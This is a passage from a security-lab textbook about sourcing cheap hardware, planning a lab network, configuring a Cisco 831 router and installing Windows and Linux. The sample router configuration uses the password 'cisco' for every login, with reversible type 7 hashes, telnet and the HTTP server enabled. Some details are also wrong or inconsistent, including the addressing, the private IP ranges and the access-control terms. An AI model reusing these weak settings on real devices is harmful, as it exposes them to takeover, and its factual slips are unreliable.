New-Equipment Purchases
Naturally, you have the option of buying new equipment. Sometimes this
might be the easiest way to go as far as getting the job done quickly. The
only problem is that buying retail is most likely the most expensive option.
If you don’t have much in the way of retired or spare equipment available,
you might have to take this route. If you see your lab as a more or less
permanent addition to the workplace, something that you plan to use on an
Obtaining Requisite Hardware/Software
ongoing basis for the foreseeable future, maybe this is justified. If you take this
path, consider writing a proposal for the needed equipment. Determine the
advantages that such a lab brings to the department and to the company. Make
sure to discuss these advantages in your proposal. Highlight the monetary
savings that such an investment can return. On the positive side, this approach
provides state-of-the-art equipment for the lab. You will also have all the
manuals and software readily available. And you won’t have to hunt around
for missing parts. If you cannot get all the funds approved, you may decide
that a few key components are best purchased new. Then the other odds and
ends can be filled in on the cheap.
Of all the items that we have discussed including in the lab, which one is
best bought new? Many people would agree that the PCs will most impact
the usefulness of the lab. Older PCs tend to be somewhat slower and lacking
in important resources, notably memory and video capabilities. The prices of
PCs have fallen considerably over the past few years. As an example, you can
buy a new Dell ‘‘open source’’ desktop machine starting at about $320. If you
are going to put Linux on it anyway, you don’t care that the machine does
not come with an operating system. And if you intend to share one keyboard,
display, and mouse with a KVM switch, again, who cares that the price does
not include a display?
N O T E Watch the prices of memory and hard drives. Be careful with regard to
memory prices if you decide to buy new computers. It is often cheaper to buy your
own memory and stuff it in the machine yourself. And when it comes to hard
drives, look for the breakpoint in the pricing where there seems to be an
extraordinary price jump relative to the increase in drive size. That is the ‘‘sweet
spot’’ in the market.
Used-Equipment Purchases
If you are building your own security lab for home use, this may be the most
viable option for obtaining some of the needed equipment. Although this
route does require a bit more work, you can save a substantial amount of
money. It also spurs creativity, and that is a valuable skill in the networking
and IT security field. Employ a bit of imagination. Who sells used computers,
networking equipment, and pieces and parts? You will find no shortage of
folks who sell used stuff. Independent computer stores might have odds and
ends that they would love to clear out of the way. You might encounter
demonstration items or things that fall into the ‘‘open box’’ category. In retail,
this is sometimes called B-stock. Some companies specialize in exactly this
kind of thing. With a little web browsing, you are likely to discover several of them, such as www.liquidation.com and www.gordonbrothers.com.
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And don’t overlook the obvious; the yellow pages may lead you to discover
sources like this.
In addition, some ‘‘flea market’’ vendors specialize in used computer equipment. As an example, in my hometown of Dallas, they hold a computer
flea market twice a month. This is a paradise for computer nerds, who can
likely find almost everything they need at a substantial discount. Check out
www.sidewalksale.com if you’re going to be in the north Texas area. Other
areas also set up such events; just ask around and check local resources. Who
knows — you might find some useful items.
Computer companies often sell refurbished systems and components. Sometimes these items are returned by those challenged by a simple software or
hardware problem, such as a missing software driver, or they have come
back on a lease, or maybe there was a minor cosmetic defect or a trivial part
was missing. Whatever the reason that motivates the seller, you can often
find systems or significant components at very low prices, well below retail.
Some manufacturers outsource refurbished equipment that is returned. Often,
the affected products are sold through various channels such as the Internet.
Although the risk is higher than with new equipment, the savings can be
substantial. Just do your homework first. Check out the reviews for various
items and determine whether others are reporting them as error prone or
high quality. Sites such as www.epinions.com and http://reviews.cnet.com
report on specific products and hardware.
Online Auctions
eBay pioneered the online auction segment of the market back in the mid 1990s.
Online auctions are a little different from the bidding process that many of you
may be familiar with. Online auctions award the winning bid to the high bidder.
This bid may have been placed three days before the auction’s closing or may
have been made three seconds before the auction’s close. Some individuals
actually enjoy watching the last few seconds of the bidding process so that
they can snipe the bid from another potential buyer just seconds before the
auction ends. For the seller, there are usually seller fees, a portion of the profits
that goes to the auction site. Buyers will want to look closely at any additional
fees or charges that are placed on the final bid. There is also the issue that some
individuals may be running scam auctions in which they have no intention of
ever sending you the goods purchased or may even misrepresent the goods as
usable when they are in fact damaged. Here are some common tips for buyers:
Bid low so that you don’t end up overpaying for the goods or services.
Ask questions of the seller if you want to know more about the item
being sold.
Obtaining Requisite Hardware/Software
Monitor auctions close to the closing time to make sure that you don’t
miss a valuable item over a few dollars.
Online auction sites include www.liquidators.com, www.ubid.com, and
www.ebay.com. eBay is the largest of them all and has proven to be an
invaluable resource for buying and selling an endless number of things. They
have a section dedicated to computers and networking. So if you are looking
for a specific item, such as a particular brand and model of router, this is a
super place to start your search. Even if you don’t end up buying the item that
you are interested in via eBay, you can get a good feel for the market price
for whatever it is that you are curious about. It is very helpful to have a good
sense of the cost of used items.
This book is not a forum for eBay do’s and don’ts. Suffice it to say that you
probably shouldn’t buy anything off eBay that you are not prepared to write
off as a loss. Although the vast majority of offerings are completely legitimate,
horror stories do pop up from time to time. You must be the judge.
Be aware that while eBay transactions often avoid state sales taxes, this
savings may well be offset by shipping and handling charges. And shipping
may take some time. Some sellers send items immediately after an auction
closes, whereas others may wait days to ship. There can be considerable
variability in this regard. This is not necessarily bad, just something to keep in
mind if you have a project planned that is time-critical. All in all, eBay is a great
resource. Just use common sense, and you will get a good result in all likelihood.
Liquidation.com is another online auction site that focuses on bulk sales of
returned items. You can bid on a pallet of laptops or 20 USB external hard
drives. You may find a really good deal here, but you must remember that this
merchandise was returned or closed out for a reason.
Thrift Stores
An often-overlooked option is thrift stores that handle used computer and
network items. As an example, Goodwill has computer stores in Texas and
California. I have been to the one in Santa Ana, California. (I guess it’s
apparent that I am a computer geek.) The notion of recycling is often behind
these operations. Businesses and individuals with old computers and related
items donate them. The thrift organizations clean these things up, reformat
the disk drives, strip some of the parts, and categorize things. If you’re in a
computer-centric area such as San Francisco, California or Austin, Texas, these
types of businesses may be a good place to find equipment to construct your
lab. It is hard to say what kind of treasures you will find in these outlets. A thrift
store might just have some equipment useful to you, such as the following:
Hubs, commercial and consumer grade, single- and dual-speed
Switches, likewise
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Routers, some of commercial quality
Power bricks for many kinds of devices, including laptops
SCSI adapters, cheap
Ethernet network adapters (PCI and PCMCIA)
CD and DVD drives, any kind you might need
Monitors, many sizes, CRTs and LCDs
Computer systems, both PC and Mac, with various operating systems
Bare systems, case, power supply, MB, CPU, memory, drive, and CD
Software odds and ends
It is fair to assume that what is available varies from time to time with this
sort of venue. Sometimes you will get lucky, and sometimes you might be
disappointed. But the price is right. I have personally found everything from
PIX firewalls to NEXT computers. Other items include a Cisco 2501 router for
$20, a Bay (Nortel) managed dual-speed hub for $10, and an Adaptec 2940
SCSI controller for $10. Maybe a $10 DVD burner would pique your interest.
Offhand, it seems that thrift outlets are a handy place to find odds and ends.
And remember, you will be helping a good cause.
Company Sales
Many companies have employee sales from time to time. When this happens,
employees have an opportunity to enjoy the first pick of equipment that is
probably going to be donated, recycled, or discarded. It is often the case that
the company is primarily interested in just getting rid of these items. And they
see an additional benefit in making these things available to their employees.
Making money is seldom a significant motivator. Large entities, government
organizations, and schools do a lot of this type of activity. As an example, I
attended one of these sales where Dell D-series laptops were going for less
than $200 each. I was able to pick up 12 for use in a course kit I was building.
The bottom line is, if you or one of your friends becomes aware of this kind of
opportunity, you might well want to take advantage of it.
Assembling the Network Lab
You need a plan if you are going to put a network together for your security
laboratory. It is easy to get carried away with grand plans. The act of planning
can become a project in itself. The art of project management is beyond the
scope of this book, but if you would like to learn more, check out www.pmi.org.
Resist the temptation to try to anticipate all your future needs. There is no
Assembling the Network Lab
ideal solution. And you can be sure that changes will be needed to accommodate some of your future experiments. Begin with a good basic plan; nothing
fancy. As an instance, consider something simple like the example shown in
Figure 1-1. This is the network design that will be used in this book and will
most likely be sufficient for many readers. For larger organizations, a more
complex test network will most likely be used.
Two computers is a practical minimum. One should run Windows. The
other one should run some flavor of Unix; Linux would be the most logical
choice. This can be achieved by means of a second physical machine or by
using some type of virtual machine. Then there has to be at least one router
that connects you to the outside world. This could be an Internet connection
or a connection to another network that already exists. This might be a very
good spot for a firewall if you have one. There has to be a hub or a switch for
local signal distribution. This deserves more attention, and we will consider
the pros and cons in an upcoming discussion. The addressing plan should be
a simple one, and you should probably stick with the private IP addressing
ranges. See Table 1-1 for the private address list. We will use the 192.168.123.0
private addresses in our examples. By using the subnet mask 255.255.255.0,
we can easily define future subnets by varying the value in the third octet of
our addresses. And that allows for up to 254 hosts on each subnet. The default
gateway address for our host systems will be the address on the router that
faces the lab network, 192.168.123.254. As a practical matter, you will want to
have a Domain Name System. DNS is most easily configured on your Linux
system, 192.168.123.10. More details are presented on this topic in a little bit.
Existing Net
Lab Net
Linux
Router
192.168.123.254
Windows
Figure 1-1 Basic network design.
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Table 1-1 Private IP Addressing
CLASS
PRIVATE ADDRESSES
A
10.0.0.0 to 10.255.255.255
B
172.16.0.0 to 172.31.0.0
C
192.168.0.0 to 192.168.255.0
You will also want to consider investing in some removable hard drives, as
they make modifying, changing, and updating the system much easier. These
can be purchased at almost any computer hardware store and help prevent
the instances where you must crack open the case to make a change.
So, we have a plan, and building the network can begin. Here are a few
steps to consider:
1. Start clean.
2. Configure the network.
3. Install the operating systems.
4. Connect everything together.
5. Add on.
As you proceed in building your network, it is a good idea to keep notes. A
lab notebook that documents the chronology and construction details of your
laboratory network will prove very useful over the long haul. Your notes and
comments will remind you later of how things are put together and how they
have been changed over time. Because of what you learn while working on
this project, you may be promoted. If that is the case, you will want to leave
adequate documentation for whoever comes next. Your busy schedule may
prevent you from returning to provide guidance or support. Start now while
the project is new. It’s a good skill to have, and there’s no better time to get
into the habit of note taking.
There is also the issue of backups and recovery. You’ll be hard-pressed to tell
others of the value of backups unless you perform this activity yourself. One of
the benefits of a virtual machine (VM) is that you can quickly restore images,
if you have backup copies of them. Acronis, Ghost, Active Disk Image, or any
other backup or imaging software that you are comfortable with will work.
Starting Clean
It is important to start with a clean slate. You should not trust the existing configuration of any of the network components. Old problems will be inherited
due to the mistakes or oversights of previous users. And, unless you install
Assembling the Network Lab
and configure things from scratch, you can never be truly sure of exactly how
everything is configured.
The best place to start is with the router. As an example, I’ll be using the Cisco
831-seriesd router I picked up for $35 used. If you don’t have this type of router,
that’s okay; a smaller home-based type of router will work — it just won’t have
the level of configurability that a commercial product router does. This type of
router is great for building access control lists (ACLs) and then verifying their
functionality with tools such as Nmap (as discussed in later chapters).
Start with the router and, if you are using a switch, that too. Reset these
to the factory defaults. You might need to refer to the documentation that
accompanies these devices. This is usually quite simple. For example, on a
Cisco router, the command erase nvram: (or the older write erase) command,
followed by a reload, will do the trick. On some consumer-grade equipment,
this is as simple as pressing a reset button. Do not worry about updating the
firmware on your equipment until you have a basic network in place with
Internet connectivity. If your budget has limited you to used computers, you
might spend a little time doing a full Windows scandisk or the Unix equivalent,
fsck. If you have bad spots on the disk, it is best to know about that now,
before you invest a good deal of time and energy in loading these machines.
Finally, repartition and reformat the disk drives on your computer systems.
This is usually an optional step during the installation of the operating system,
which we will talk about in a bit. Leave room for a large future partition on your
disk drive. This will be a great asset in the future for storing system images (such
as those produced by Ghost, True Image, or a similar product). In fact, it would
be most convenient if you set aside an entire disk drive for system images.
Configuring the Network
Because we are starting with a simple network for the laboratory, the router
is as good a place as any to begin. Remember Figure 1-1 earlier in the chapter?
The assumption is that we need a network separate and distinct from existing
networks so that we can try things out in a relatively secure fashion. This
dictates that we need to separate these two networks.
For our example, we will use a Cisco router (model 831). This is not because
Cisco routers are necessary or, for that matter, so wonderful. But it is hard to
find a network without Cisco equipment, so we may as well assume that which
is commonplace for discussion purposes. The first step is to reset the router
to a pristine state. This is to ensure that we don’t perpetuate misbehaviors
from any previous use of the router. Figure 1-2 gives you a sense of what this
port looks like. Essentially, you hook the router to your computer’s serial port
via a console cable to the console port of the router, execute the Windows
HyperTerminal utility, and turn the router on.
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Figure 1-2 Console port.
A variety of things can go wrong here. If you get gibberish or no output from
the router, you might have the serial port configuration parameters goofed
up. Normally, you use 9600 bits per second, 8 data bits, no parity, 1 stop
bit. If you find that the router has an ‘‘enable’’ password that is unknown to
you, you are on your own. In that case, a little web searching will reveal the
password-recovery procedure for your particular model of router. Here’s the
link to save you a little time: www.cisco.com/warp/public/474/index.shtml.
On our test router, when there is no ‘‘startup-config,’’ the system tries
to download a configuration off the network using a broadcast Trivial File
Transfer Protocol (TFTP) request. If this happens to you, you can safely ignore
the warnings. Next, you want to enter your router configuration commands.
The following is a sample configuration. This configuration is simply the
factory-default configuration for the Cisco 831 with a few modifications to
meet our needs. Your configuration may vary depending on the model of
router that you are using and the version of Cisco IOS software.
! ----- Example Router Configuration for a Cisco 831 Router
version 12.4
no service pad
service timestamps debug uptime
Assembling the Network Lab
service timestamps log uptime
service password-encryption
!
hostname Router
!
boot-start-marker
boot-end-marker
! ----- enable password is "cisco"
enable secret 5 $1$1ECo$VQ3VKPf2hIoIJYT.7bZ5T1
!
no aaa new-model
!
resource policy
!
ip subnet-zero
!
no ip dhcp use vrf connected
ip dhcp excluded-address 172.20.1.1 172.20.1.100
!
ip dhcp pool CLIENT
import all
network 172.20.1.0 255.255.255.0
default-router 172.20.1.1
lease 0 2
!
ip cef
no ip ips deny-action ips-interface
!
! ----- telnet password is "cisco"
username telnet password 7 110A1016141D
!
interface Ethernet0
ip address 172.20.1.1 255.255.255.0
no ip proxy-arp
ip nat inside
ip virtual-reassembly
no cdp enable
hold-queue 32 in
no shutdown
!
interface Ethernet1
ip address dhcp client-id Ethernet1
no ip proxy-arp
ip nat outside
ip virtual-reassembly
duplex auto
no cdp enable
no shutdown
!
interface Ethernet2
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no ip address
shutdown
!
interface FastEthernet1
duplex auto
speed auto
!
interface FastEthernet2
duplex auto
speed auto
!
interface FastEthernet3
duplex auto
speed auto
!
interface FastEthernet4
duplex auto
speed auto
!
ip classless
!
ip http server
no ip http secure-server
!
ip nat inside source list 102 interface Ethernet1 overload
!
access-list 23 permit 172.20.1.0 0.0.0.255
access-list 102 permit ip 172.20.1.0 0.0.0.255 any
no cdp run
!
control-plane
!
line con 0
exec-timeout 120 0
no modem enable
stopbits 1
line aux 0
line vty 0 4
access-class 23 in
exec-timeout 120 0
!password is "cisco"
password 7 00071A150754
login local
!
scheduler max-task-time 5000
end
This configuration assumes that a DHCP server will lease an IP address
and associated information to the WAN (Ethernet1) interface on the router.
Also the LAN side (Ethernet0) interface is set up to serve DHCP to clients.
Addresses on the LAN are from the 192.168.123.0/24 subnet. Addresses in
Assembling the Network Lab
the range 192.168.123.1 through 192.168.123.100 have been excluded from the
DHCP pool so that you may use them for static address assignments.
The next important question is whether to use hubs or switches in your
lab network. By default, modern networking professionals gravitate toward
switches. And switches may eventually need to be included.
But for simplicity, it is hard to beat a good old hub. The reason is that hubs
just distribute electrical signals throughout your twisted-pair cabling system,
making those signals visible to everything attached to the network. Everybody
sees everything when you use hubs.
Consider some of the things that you are going to be working with: password
sniffers, protocol analyzers, and network-intrusion detection tools. To function
easily, these tools need to be placed in such a position within the network that
they can see all of the relevant Ethernet frames passing by. This is a natural consequence if you use hubs. With switches, you will have to set up a mirror port.
If you cannot find a hub, make sure that your switch supports the functionality.
If you do use hubs, though, remember the 2-1 rule for Fast Ethernet. You cannot daisy-chain 100Mbps hubs together. But you can easily find an old 24-port
100BaseTX hub if you search a bit. Also, be a little cautious of dual-speed hubs.
These devices have to speed-match frames, and therefore have to be able to
queue and forward frames just like a switch does, except that they need to
flood those frames out every port on the hub, like a hub does. Some so-called
dual-speed hubs are actually switches, so verify the action of the hub before
you come to rely on its behavior. Finally, document what you have done.
Draw a diagram or two and jot a few notes in that lab notebook that you are
keeping. You are keeping a notebook, aren’t you?
Installing Operating Systems
It is assumed that you are not completely new to installing Windows or Linux.
If you need to brush up on this, please consult many of the excellent books
that are available.
We will focus upon the decisions that need to be made during system installation that have security implications. It is best to start with a simple, flexible
system that can be tuned later to meet changing needs. It is always desirable
to have a handy Internet connection during these installations. This can be a
temporary measure that simply makes the process of system installation and
applying maintenance easier.
Windows XP
Here are a few things to keep in mind during a Windows XP Professional
installation:
Remove existing disk partitions.
Create new disk partitions, leaving room for future system images.
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Set an Administrator password that is not easily guessed.
Workgroup or domain? You need to decide.
By default, one is inclined to initially install XP or Windows 2003, as these
are the two operating systems commonly found in the corporate environment.
The security model associated with this is referred to as share-level or discretionary access control (DAC) security; it is so named, presumably, because the
owner of a resource (disk or printer) sets access controls at the time that they,
at their discretion, share that resource.
The domain model is more realistic in enterprise networks. However, this
requires that you have a Windows server in place that is configured as a domain
controller. The security model employed in this case is referred to as user-level
security or mandatory access control in that access privileges are tied to security
tokens and labels controlled by that central domain controller. This would be
an obvious complication if you are trying to start simply. So, you may well defer
such concerns as future issues to be dealt with as you refine your lab network.
Updates need to be applied for your base systems. Your new system should
incorporate all the latest, greatest fixes from Microsoft. Use Internet Explorer
to cruise over to www.windowsupdate.microsoft.com. For the systems you are
going to use as targets, you might not want to apply updates so that you can
test unpatched vulnerabilities, considering what you are trying to simulate in
your lab.
This is a good point at which to capture an image of your system. You
have a solid basic platform with all the latest software maintenance installed.
You have invested a considerable amount of time and effort to get to this
point. It is always advantageous to be able to return to this checkpoint if you
have to make future modifications to this system or if the system becomes
corrupted during an experiment. Symantec’s Ghost and Acronis’ True Image
are probably the most commonly used tools for this. Now you are at a point at
which you can begin to install some of the software tools that you plan to use in
your experiments. Chapter 2, ‘‘Building a Software Test Platform,’’ covers this
in more detail, but tools such as a protocol analyzer, like Wireshark (formally
Ethereal), and utilities such as Nmap and Cain & Abel might be considered.
Naturally, you may have some favorite tools and software goodies that you
want to have handy. You should probably give some thought to weaving
these into your system configuration. And recall that this interacts with your
decisions regarding system images that need to be captured and preserved for
future use.
As far as personal firewall software or antivirus software, that is up to you.
Do you want to expose this system to exploits? If not, questions arise regarding which antivirus product to employ and whether to employ anti-spyware
measures. Maybe these things are best installed (or not) based upon the needs
of a particular experiment. You may opt to have a system image with such
Assembling the Network Lab
controls in place and one without. These work great for protecting systems
but can get in the way when you are trying to dissect malware or understand
how a particular exploit works.
Linux
The first question that comes to mind when one considers building a Linux
system is ‘‘What distribution of Linux should I use?’’ And that is a truly good
question. Over the years, the world of Linux has been dominated by different
distributions at different times. So there is no clear mandate to pick one or
another. The good news is that all the popular distributions are competent.
So if you don’t have a personal favorite, you are free to choose from all the
possibilities.
Because security is the focus of the work that we plan, it is a good idea to first
survey some of the popular software tools to see which platforms they support
with precompiled binary distributions. One site that has many distributions
of bootable versions of Linux is www.frozentech.com/content/livecd.php.
Other excellent choices include Fedora and Red Hat Enterprise. Fedora Core 8
is used in some of our examples and in security distributions such as Backtrack.
Whereas Backtrack is free, Red Hat Enterprise Linux varies in price from less
than $100 to well over $2,000, depending on exactly what version you buy and
the support options.
Fedora has several partitioning options. The easy alternative is probably not
the best alternative because we want a separate partition for system images. So
you will have to experiment a bit with this until you find the right recipe. As a
rule of thumb, NT File System (NTFS) partitions for images are usually a good
choice. This is where a second disk drive to store system images would be
much easier to deal with. When you actually perform the installation, you have
several security-related options to consider. The firewall feature is enabled by
default, as is Security Enhanced Linux (SELinux), which provides enhanced
resolution as to what to block and what to allow on the network. Take the
defaults. You can always relax these rules later if an experiment demands this.
As with Windows, you will find that many of the Linux packages have
updates available. Fedora Core 8 ferreted these out soon after the root user
logged on to our test system. Good sense dictates applying current maintenance before proceeding much further. This can take quite a while for the
initial pass. These packages are important; this is how you extend additional
network services using your Linux system. Update your notes. Add another
diagram to you lab notebook.
Connecting Everything Together
Assuming that you have configured your router and built your Windows and
Linux systems, it is time to put everything together. You have probably been
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hooking things in on the fly as you went through the prior steps. So now it is
time to tidy everything up and document it. Figure 1-3 should resemble your
new lab network.
At this point, you need to follow a structured process to get everything
connected together and hooked up. Here is a reasonable course to follow:
1. Shut everything down.
2. Find a good home for those pieces of equipment on your desk, workbench, shelves, or what have you.
3. Get AC power where you need it. Consider getting a backup UPS.
4. Remember to think about where new things will go in the future. It is
best to have an arrangement where you can easily get to the front and the
back of your equipment.
5. Run your network and power cables neatly. Don’t go overboard here.
Concern yourself with the functionality of the cable routing — cosmetics
are secondary.
6. Power everything back up, starting with the router.
7. Determine the IP addresses of your systems and ping back and forth to
ensure connectivity.
8. Test you ability to get off your network, through your router, and eventually to the Internet.
9. Resolve any problems that occur along the way.
Hub
Router
192.168.123.254
Existing
Net
Windows
192.168.123.11
Figure 1-3 Network configuration.
Linux
192.168.123.10
Assembling the Network Lab
A few recommendations are in order. Dynamic Host Configuration Protocol
(DHCP) is a great way to get things up and going quickly. And it makes it
easy to add and subtract devices on the network. But some of your systems
deserve static IP addresses because you always expect them to be there; in
fact, you depend upon them being there. So if you haven’t done so already,
then this is a good time to set static addresses for your Windows and Linux
machines. A sample range was provided earlier in the chapter. Finally, update
your documentation. As you continue to build your career in IT security, you
will find the ability to document and notate actions and recommendations
invaluable. Let’s now look at adding on additional items to our lab.
Adding On
You will inevitably add a variety of things to your network. Some additions
are easy to accomplish, whereas others require quite a bit of planning. And the
payback associated with these additions varies, too. Let’s consider the things
that might be added and look at what will give you the greatest return or
‘‘bang for the buck.’’
First, if you have multiple monitors, keyboards, and mice, especially if
the monitors are CRTs, you need a KVM switch. IOGEAR makes a great
two-port USB PLUS KVM switch with built-in KVM cables and audio support
for less than $70. You can check it out at http://iogear.com/main.php?loc=
product&Item=GCS632U. This is a huge space saver and very convenient while
experimenting. While we are on the subject of a single monitor, you may be
able to go with an LCD. It has reached a point that LCDs are likely to be less
expensive. Plus, the size, the power consumption, the whole equation favors
using LCDs instead. If you opted for a switch initially, go get a hub, too. If
you decided to go with a hub, add a decent switch that does VLANs and port
mirroring to your toolbox.
Next on the list is some wireless gear. A wireless access point is a simple and
economical addition. 802.11 g is probably the most sensible choice, in part due
to the fact that it is new enough to include the newer encryption alternatives
such as Wi-Fi Protected Access (WPA) and WPA2, not just plain old Wired
Equivalent Privacy (WEP). Network-attached storage (NAS) is also relatively
inexpensive. These days you can find 500GB for a couple of hundred dollars.
As you download things off the Internet and have to install them on various
machines over the life of your network, NAS is a really handy place to keep
that stuff.
If this seems beyond your budget, at least consider a removable hard drive.
These devices always seem to come in handy. Also, think about removable
FireWire and USB hard drives. If you have some old hard drives lying around,
you can look on the Internet or visit the local computer store to find external
enclosures for them. These can typically be found for less than $50. This is a
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handy way to save data off-system that might come in handy later. Also, the
ever-versatile thumb drives, or flash drives, are also extremely useful. These
devices have to a large degree replaced floppy disks and CDs for fast storage
and retrieval.
Firewalls are a tough call. As a security professional, it is imperative that you
have a sense of what firewalls are and what they do. The kind of firewall sold
for the consumer market will give you a decent idea of firewall capabilities.
But you can mistakenly get the idea that real firewalls care about which web
sites your kids are cruising. For that reason, it is probably better to stick with a
product targeted for business customers. Hardware options such as the Cisco
PIX (PIX 501) can be found used for about $200. Juniper and Sonicwall have
some similar products. There are also some low-cost software alternatives.
I discuss these options more in later chapters.
Additional computers to attack and to be attacked may be needed. Although
you will learn more in the next chapter about some software alternatives that
might help you in this regard, VMware and similar products allow one physical machine to host multiple operating systems simultaneously. As mentioned,
this is discussed in greater detail in Chapter 2.
Summary
Building your own security lab to serve as a laboratory environment for
network security experimentation is not difficult to do, and it need not be
particularly expensive. By applying some effort and taking a little time, you
can cut your costs and still build a good test bed. By using some of the
things that are likely already available to you and adding a few additional
components, you can build such a network in a couple of days.
The benefits are many. First, this provides a setting in which you can work
with hacking tools without impacting other network users. If damage occurs,
and you built the network intelligently, it will be relatively easy to restore
systems to their previous state. If you are just starting your IT security career,
you most likely lack advanced hands-on ability. Although certifications are
great, employers also look for employees who have the skills needed to hit
the ground running. Building your own network gives you a test platform
to perform real-world tests and simulations. You can practice key skills and
spend the time needed to find out how technology works to a much greater
degree. Each of these skills will garner you higher wages from a prospective
employer.
You don’t need a million dollars or to win the lottery to get started. You
can start with a relatively small laboratory network and add to it as your
needs dictate. You will be able to maintain complete control and complete
understanding of the operating environment. Control is possible — not like
on live networks where there are too many variables to manage. We continue
Key Terms
this quest in the next chapter as we begin our discussion of software and
applications. Good luck with your security research.
Key Terms
Discretionary access control — An access policy that allows the resource owner to determine access.
Domain controller — A Microsoft Windows server that is responsible for allowing host access to a Windows domain’s resources.
Firewall — A hardware or software security system that is used to
manage and control both network connectivity and network services.
Firewalls act as chokepoints for traffic entering and leaving the network,
and prevent unrestricted access. Firewalls can be stateful or stateless.
Hub — A device that connects the cables from computers and other
devices such as network-attached storage in an Ethernet local area
network.
Lock picking — The art of opening locks without the keys.
Mandatory access control — A means of restricting access to objects
based on the sensitivity (as represented by a label) of the information
contained in the objects and the formal authorization (such as clearance)
of subjects to access information of such sensitivity.
Network-attached storage — A device that is accessible directly on the
local area network and is designed for handling files and data storage
Phreaking — A term used for individuals who crack telecommunication security, most often phone or voice communication networks.
Routers — A device that determines the next network point to which
a data packet should be forwarded en route to its destination. Routers
create or maintain a table of the available routes and use this information
to determine the best route for a given data packet. Routing occurs at
Layer 3 (network layer) of the OSI seven-layer model.
Scandisk — The process of scanning a disk for errors that may be
present on the hard drive.
Switch — A device that links several separate LANs and provides packet
filtering between them. A LAN switch is a device with multiple ports,
each of which can support an entire Ethernet or Token Ring LAN.
Wi-Fi detectors — Devices designed to detect wireless signals.
Wireless access point — A device used to bridge a wired and wireless
network. Wireless access points act as a central node for users of wireless
devices to connect to a wired network.
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Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of the chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. Our goal is
to provide you with real hands-on experience.
The most important exercise to complete at the end of this chapter is to
build your network. Because equipment varies and many different designs are
possible, it’s hoped that you take this time to construct a hardware base to use
for subsequent chapters.
Equipment Checklist
For this first exercise, fill in the following checklist of items that need to be
completed to get your lab ready for the software installation.
ITEM
DESCRIPTION
1
Select a location for the lab.
2
Specify the floor space needed and any added
environmental requirements such as air
conditioning.
3
Specify the power and phone requirements.
4
Specify the external network connections.
5
Determine the computer and server hardware
requirements.
6
Determine required OSs.
7
Determine required application software.
8
Determine any utilities or other software
required.
9
Determine needed tools and test equipment.
10
Determine network cabling and network
equipment required.
DATE
COMPLETED
Exercises
ITEM
DESCRIPTION
DATE
COMPLETED
11
Acquire the workspace needed for the lab.
12
Have any required power, phone, network
cabling, and external network connections
installed.
13
Obtain the network infrastructure hardware,
computer hardware, software, tools, and test
equipment.
14
Set up the network.
15
Set up the computers and servers.
Exploring Linux Options
In this exercise, you explore your software options for programs to use on
your installed systems.
Visit www.insecure.org and review their current list of 100 security tools.
Follow the links to several tools that support Linux and see which binary
downloads they offer. See the following table for a sense of what you will
discover. (You might notice that it is rather obvious that there are some
favorites among the IT security community.)
SECURITY-RELATED TOOL
LINUX VARIANTS SUPPORTED
Nessus
Fedora, Red Hat Enterprise, SuSE,
Debian
Wireshark
Debian, Gentoo, Mandriva, Fedora, Red
Hat Enterprise
Snort
Red Hat Enterprise, Fedora
John the Ripper
Red Hat Enterprise, Fedora, Red Hat 7,
SuSE, Mandriva, Openwall, Slackware
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Exploring Other Operating System Options
One of the great things about VMware is the ability to set up virtual
machines. Check out www.vmware.com/vmtn/appliances and explore some
of the ready-to-use images that are available to download. See if you can find
the following operating systems and list their version and description.
OS
Windows
Backtrack
Ubuntu
OpenBSD
SmoothWall
Gentoo
Debian
VERSION/DESCRIPTION
SIZE
CHAPTER
2
Building a Software Test
Platform
This chapter looks at your options for building and setting up a software
test platform. A software test platform will provide you a standalone, sterile
environment to use for testing and exploration. You may be asking yourself
what the right operating system is or how you know which operating systems
you need. These are good questions that are addressed in this chapter. This
chapter plays a critical role in that just having the hardware is of little use
without software to use with it. If you are going to build your own network
security lab, software will play a critical role. If you are building this lab with
a tight budget, picking the right software will be even more critical, as there
are certain pieces of software you simply cannot live without.
One way to maximize your budget is by using virtual servers. This technology offers a great way to get more bang for the buck out of existing hardware.
We also look at some tools and applications you might consider installing on
your newly constructed operating systems. Finally, just remember the overall
reason for using this type of test system: It’s that you should never be running
test software or experimenting on a production network. Unknown tools and
software can cause many different results when combined with other software
and processes. The worst case is that a critical system or service fails. You do
not want to be the person who causes this to happen. For this reason alone,
you should always test software on a nonproduction network.
Server OS Installations
We cannot do a lot with the hardware we put together in the Chapter 1,
‘‘Hardware and Gear,’’ until we load some software and operating systems.
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So, we must discuss the types of operating systems to install and look at the
various options. Let’s start by discussing the Microsoft family of operating
systems.
Microsoft Windows
It almost goes without saying that any test network is going to need to
have some version of a Windows system running. According to Wikipedia,
Microsoft sold more than a million copies of XP by 2006. With such huge
numbers of their products in place, it’s easy to see why any security lab should
have Microsoft clients. Microsoft has helped redefine computing over the past
20 years. This history dates back to such classics as Windows 3.11 and Windows
for Workgroups. This was one of Microsoft’s early top sellers and gave
users a graphical interface along with the ability to network. Not long after
that, in 1994, Microsoft released Windows NT 3.5, which was developed as a
business-focused client/server operating system. Subsequent versions bring
us up to Windows XP, Server 2003, and Vista.
The first question to consider is what version of Windows you should
install. If you can find a copy of 2000 Server or Professional, this might be
another good choice because there are lots of exploits for these versions.
Because of the ubiquity of XP systems, you should also make sure to install
a version of XP. Microsoft Vista should also be considered. Although Vista is
not the number-one OS at the moment, it is making inroads and is likely to be
the dominant Microsoft product in the near future. With the decision made
to install Windows XP, you first want to make sure that the hardware you
decided on after reading Chapter 1 meets the minimum requirements needed
for Windows XP. Table 2-1 specifies these requirements.
When seen as a comparison to Windows Vista, you can quickly tell there is
a big difference in the level of hardware needed. Table 2-2 lists the Windows
Vista Basic and Windows Vista Premium requirements.
Table 2-1 Windows XP Requirements
DEVICE
MINIMUM
RECOMMENDED
Processor
Pentium 233 MHz or greater
Pentium 300 MHz or greater
RAM
64 MB
128 MB
Hard drive
650 MB
2GB
Monitor
VGA (800 × 600)
Super VGA (800 × 600 or higher)
Disk drive
CD-ROM or DVD
12× CD-ROM/DVD
Other items
Keyboard and mouse
Enhanced keyboard and mouse
Server OS Installations
Table 2-2 Windows Vista Requirements
DEVICE
BASIC
PREMIUM
Processor
1GHz or greater
1GHz or greater
RAM
512 MB
1GB
Hard drive
20GB MB with 15GB Free
40GB with 15GB Free
Graphics
32 MB of graphics memory
128 MB of graphics memory
Disk drive
DVD
DVD
Other items
Internet access, keyboard,
and mouse
Internet access, audio output,
enhanced keyboard and mouse
Table 2-3 Windows OS Priorities
OPERATING SYSTEM
COMMENTS
